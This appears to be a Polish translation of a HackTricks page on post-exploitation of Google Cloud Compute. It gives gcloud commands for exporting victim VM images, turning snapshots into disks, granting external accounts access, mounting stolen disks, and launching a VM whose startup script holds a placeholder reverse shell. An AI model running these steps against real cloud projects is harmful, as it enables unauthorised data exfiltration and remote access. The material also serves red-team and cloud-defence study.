GCP - Compute Post Exploitation

Support HackTricks

Compute

Aby uzyskać więcej informacji na temat Compute i VPC (Networking), sprawdź:

GCP - Compute Enum

Eksportuj i sprawdź obrazy lokalnie

To pozwoli atakującemu na dostęp do danych zawartych w już istniejących obrazach lub utworzenie nowych obrazów działających VM i dostęp do ich danych bez dostępu do działającej VM.

Możliwe jest wyeksportowanie obrazu VM do bucketu, a następnie pobranie go i zamontowanie lokalnie za pomocą polecenia:

gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

Aby wykonać tę akcję, atakujący może potrzebować uprawnień do zasobnika pamięci masowej oraz na pewno uprawnień do cloudbuild, ponieważ to jest usługa, która zostanie poproszona o wykonanie eksportu. Ponadto, aby to zadziałało, SA codebuild i SA compute muszą mieć uprawnienia uprzywilejowane. SA cloudbuild <project-id>@cloudbuild.gserviceaccount.com potrzebuje:

  • roles/iam.serviceAccountTokenCreator

  • roles/compute.admin

  • roles/iam.serviceAccountUser

A SA <project-id>-compute@developer.gserviceaccount.com potrzebuje:

  • roles/compute.storageAdmin

  • roles/storage.objectAdmin

Eksportuj i sprawdź migawki i dyski lokalnie

Nie jest możliwe bezpośrednie eksportowanie migawek i dysków, ale możliwe jest przekształcenie migawki w dysk, dysku w obraz i zgodnie z poprzednią sekcją, wyeksportowanie tego obrazu, aby sprawdzić go lokalnie.

# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

Inspekcja obrazu tworząc VM

Celem uzyskania dostępu do danych przechowywanych w obrazie lub wewnątrz działającego VM, z którego atakujący utworzył obraz, możliwe jest przyznanie zewnętrznemu kontu dostępu do obrazu:

gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

a następnie utwórz nową VM z tego:

gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

Jeśli nie mogłeś przyznać dostępu do swojego zewnętrznego konta przez obraz, mógłbyś uruchomić VM używając tego obrazu w projekcie ofiary i sprawić, by metadane wykonały reverse shell w celu uzyskania dostępu do obrazu, dodając parametr:

--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

Inspect a Snapshot/Disk attaching it to a VM

Z celem uzyskania dostępu do danych przechowywanych na dysku lub w migawce, możesz przekształcić migawkę w dysk, dysk w obraz i postępować zgodnie z wcześniejszymi krokami.

Lub możesz przyznać zewnętrznemu kontu dostęp do dysku (jeśli punktem wyjścia jest migawka, przyznaj dostęp do migawki lub utwórz z niej dysk):

gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

Dołącz dysk do instancji:

gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

Zamontuj dysk wewnątrz VM:

  1. SSH do VM:

gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
  1. Zidentyfikuj dysk: Po wejściu do VM, zidentyfikuj nowy dysk, wypisując urządzenia dyskowe. Zazwyczaj można go znaleźć jako /dev/sdb, /dev/sdc itd.

  2. Sformatuj i zamontuj dysk (jeśli to nowy lub surowy dysk):

  • Utwórz punkt montowania:

sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • Zamontuj dysk:

sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

Jeśli nie możesz udzielić dostępu do zewnętrznego projektu do migawki lub dysku, być może będziesz musiał wykonać te działania wewnątrz instancji w tym samym projekcie co migawka/dysk.

Wsparcie HackTricks

Last updated